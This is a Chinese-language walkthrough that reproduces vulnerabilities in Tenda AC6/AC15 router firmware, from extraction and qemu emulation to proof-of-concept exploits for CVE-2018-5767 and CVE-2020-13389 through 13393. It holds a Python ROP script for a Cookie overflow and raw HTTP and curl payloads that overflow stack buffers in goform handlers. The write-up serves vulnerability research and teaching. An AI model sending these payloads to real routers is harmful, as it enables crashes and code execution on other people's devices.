Tenda-AC 路由器漏洞复现
Tenda-AC6 路由器固件
Tenda AC6 V15.03.05.19 路由器
固件下载:https://www.tenda.com.cn/material/show/102681
Tenda-AC15 路由器固件
Tenda AC15 V15.03.1.16 路由器
固件下载:https://www.tenda.com.cn/download/detail-2680.html
基础环境配置
创建Python虚拟环境
目录
创建虚拟环境
激活虚拟环境
binwalk安装
https://github.com/ReFirmLabs/binwalk/wiki/Compile-From-Source
参考github教程
firewalker 安装
1
| git clone https://github.com/craigz28/firmwalker/
|
sasquatch SquashFS 安装
1 2 3
| sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev sudo git clone https://github.com/devttys0/sasquatch cd sasquatch && sudo make && sudo make install
|
qemu 安装
1 2 3
| sudo apt-get install qemu sudo apt-get install qemu-user-static sudo apt-get install qemu-system
|
gdb-multiarch 安装
1
| sudo apt-get install gdb-multiarch
|
提取固件
1
| binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
|
固件分析
提取后进到根文件系统目录 squashfs-root
,有以下这些路径

分析自启动项文件:/etc_ro/init.d/rcS

webroot_ro
存放了路由器 Web
管理界面的相关文件,初步审计判断是goform的平台
firmwalker扫描根文件系统:
1
| ./firmwalker.sh /home/lenovo/Pwn/IoT/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
|
发现存在服务httpd

尝试在qemu虚拟机中启动这个服务,以进一步分析
首先下载qemu system需要的阉割debian系统
1 2 3
| wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
|
然后我们要让qemu和宿主机通信,这里采用桥接的模式,在此之前先安装tunctl
1
| sudo apt install uml-utilities bridge-utils
|
配置虚拟网卡以及网络IP地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| sudo brctl addbr br0 sudo ip addr add 10.10.10.1/24 dev br0 sudo ip link set dev br0 up
sudo ip tuntap add dev tap0 mode tap user $USER sudo brctl addif br0 tap0 sudo ip link set tap0 up
ip addr show br0
brctl show
|
调整镜像到 32GiB(解决报错:SD card size has to be a power of 2, e.g.
32 GiB.)
1
| qemu-img resize debian_wheezy_armhf_standard.qcow2 32G
|
模拟固件环境
qemu,启动
1 2 3 4 5 6 7 8 9
| sudo qemu-system-arm \ -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2 console=ttyAMA0" \ -net nic \ -net tap,ifname=tap0,script=no,downscript=no \ -nographic
|
这里为了方便阅读qemu启动参数的阅读,将其拆分开:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| -M //选择虚拟机
-drive //定义存储驱动器
file= //定义镜像文件
-net nic //创建客户机网卡
-net tap //创建tap设备,以桥接方式跟宿主机通信
ifname=tap0 //tap设备与tap0虚拟网卡进行桥接通信
-nographic //以非图形化模式启动
-append //内核启动附加参数
console=ttyAMA0 //console指向串口
|
更多参数详解可以 -h
查看qemu的参数

下面我们启动qemu
system模式,给启动后的QEMU虚拟机配置网卡IP地址,在QEMU
shell终端输入:
1 2 3 4 5 6 7 8 9 10 11
| ip link set eth0 up
ip addr add 10.10.10.2/24 dev eth0 ip route add default via 10.10.10.1
ip addr show eth0 ip route show ping 10.10.10.1
|
现在宿主机和客户机可以通信了,然后将宿主机的固件打包上传到客户机,通过python临时起一个http服务,再从宿主机wget下来,具体操作如下:
在宿主机上执行
1 2 3 4 5
| tar -cjf squashfs-root.tar.bz2 squashfs-root
python3 -m http.server 8000
|
在客户机上执行
1 2 3 4 5
| wget http://10.10.10.1:8000/squashfs-root.tar.bz2
tar -jxvf squashfs-root.tar.bz2
|
下一步我们使用chroot切换文件夹
切换完成之后,直接启动httpd服务,效果如下

这里是第一个坑点,因为咱们是虚拟的网络环境,没有过他固件check_network()
函数的检查,所以会卡在这动不了,服务无法正常启动,而且会显示一些文件没有建立的提示
IDA打开httpd后搜索程序启动时显示的字符串,通过交叉引用定位到函数sub_2E420()

这里修改机械码绕过判断

发现修改后仍出现报错

再次修改绕过ConnectCfm()
这里的判断

但修改后发现监听了明显不正常的地址,说明没有正常获取网卡的IP地址

这里我们分析check_network()
函数,发现其具体实现是在动态链接库中
查询程序的依赖库
1
| readelf -a ./httpd | grep NEEDED
|

根据调用链找到对应函数,check_network()
函数在程序开始的时候会调用get_eth_name()
函数来获取设备网络接口

由于这里只会对硬编码的索引返回对应的接口名,其他情况都会落到
default
分支返回
unk_66C8
(一个未定义或空串),后续通过这个名字去查接口时就会失败
我们可以手动创建网络接口br0、分配ip来让程序运行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| ip link set eth0 up
ip link add name br0 type bridge
ip link set eth0 master br0
ip addr add 10.10.10.2/24 dev br0 ip link set br0 up
ip route add default via 10.10.10.1 dev br0
ip addr show br0 ip route show ping -c3 10.10.10.1
|
为便于调试,我们采用 qemu-static 模式
同时根据启动项文件 /etc_ro/init.d/rcS
,把必须的前端文件拷贝过去
1
| cp -r webroot_ro/* webroot/
|
调试时连接端口 12345 即可
1
| sudo qemu-arm-static -g 12345 -L ~/Pwn/IoT/_US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin.extracted/squashfs-root ~/Pwn/IoT/_US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin.extracted/squashfs-root/bin/httpd
|

1 2 3
| gdb-multiarch target remote localhost:12345 continue
|
成功运行 httpd 程序
漏洞复现
CVE-2018-5767
这个漏洞点主要在程序解析用户 Cookie 时,没有对 password=
字段的读取长度进行限制,导致可以溢出,覆盖返回地址

触发该漏洞需访问任一非加白路径

并通过白名单后缀名绕过后续的 Cookie 解析和认证检查即可

新开shell来起pwndbg调试
1 2 3 4
| gdb-multiarch target remote localhost:12345 b *0x002ED18 continue
|
首先测溢出点

溢出444+4=448个字节就行了
然后再找libc基地址
这里不知是何原因,通过vmmap指令查看虚拟内存映射的时候一直显示:There
are no mappings for specified address or module.
尝试手动查看程序的虚拟内存映射,使用top命令找到qemu-arm-static进程PID

查看 /proc/[pid]/maps
文件,通过 proc
文件系统可以读取进程的“虚拟内存映射”(memory map)

POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import requests from pwn import *
libc = ELF('./lib/libc.so.0') libc_base = 0xa14b2000
puts = libc_base + libc.sym['puts'] _str = b"IoT\x00" mov_r0 = libc_base + 0x00040cb8 pop_r3 = libc_base + 0x00042098 url = "http://10.10.10.1/goform/execCommand" payload = cyclic(448) + p32(pop_r3) + p32(puts) + p32(mov_r0) + _str
cookie = {"Cookie": "password=" + payload.decode('latin-1') + ".gif"} response = requests.get(url=url, cookies=cookie) print(response.text)
|
CVE-2020-13389
这个漏洞核心在于:程序在处理请求参数 schedStartTime
和
schedEndTime
的值 src
时,未做长度检查,直接将其 strcpy
到固定大小的缓冲区
ptr
里,可以溢出缓冲区覆盖掉函数返回地址
相关伪代码

在 Windows Powershell 拿到 WSL 的 IP 地址:
端口转发
1
| sudo socat TCP-LISTEN:8080,bind=0.0.0.0,fork TCP:10.10.10.1:80 &
|
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /goform/openSchedWifi HTTP/1.1 Host: 172.28.146.20:8080 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Type: text/plain Cookie: password=nrt5gk
schedWifiEnable=0&schedStartTime=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&schedEndTime=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
|
PowerShell:
1 2 3 4 5 6
| curl -v -X POST http://172.28.146.20:8080/goform/openSchedWifi \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "schedWifiEnable=0" \ --data-urlencode "schedStartTime=$(printf '1%.0s' {1..20000})" \ --data-urlencode "schedEndTime=$(printf '1%.0s' {1..20000})" \ --output /dev/null
|

造成 DoS(Denial-of-Service) 攻击
CVE-2020-13390
同 CVE-2020-13389,程序在处理请求参数 entrys
和
mitInterface
的值时,直接通过 sprintf
函数将格式化数据写入字符串缓冲区,可以溢出缓冲区覆盖掉函数返回地址
相关伪代码

POC:
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /goform/addressNat HTTP/1.1 Host: 172.28.146.20:8080 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Type: text/plain Cookie: password=whz5gk
entrys=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&mitInterface=1111111&page=11111111
|
CVE-2020-13391
同CVE-2020-13390,对用户可控的 speed_dir
参数未做长度校验,导致栈上缓冲区溢出并可覆盖返回地址
相关伪代码

POC:
1 2 3 4 5 6 7 8 9 10 11 12
| POST /goform/SetSpeedWan HTTP/1.1 Host: 172.28.146.20:8080 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Cookie: password=jgi5gk
speed_dir=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
|
CVE-2020-13392
同CVE-2020-13391,对用户可控的 funcpara1/funcpara2 参数使用无界
sprintf,将其写入栈上固定大小缓冲区,导致 stack-based buffer
overflow,可覆盖返回地址并被利用为任意代码执行漏洞
相关伪代码


POC:
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /goform/********** HTTP/1.1 Host: 172.28.146.20:8080 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Type: text/plain Cookie: password=ioo5gk
save=1&msgname=1&funcname=save_list_data&funcpara1=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&funcpara2=222222222222222222222222
|
CVE-2020-13393
同CVE-2020-13392,当处理POST请求的deviceId
和time
参数时,程序直接使用strcpy
函数将用户输入复制到栈上的局部变量,没有进行长度检查。攻击者可以通过发送包含超长参数值的恶意POST请求,覆盖栈上的函数返回地址,从而实现任意代码执行。


POC:
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /goform/saveParentControlInfo HTTP/1.1 Host: 172.28.146.20:8080 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Type: text/plain Cookie: password=pyl5gk
deviceId=&time=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
|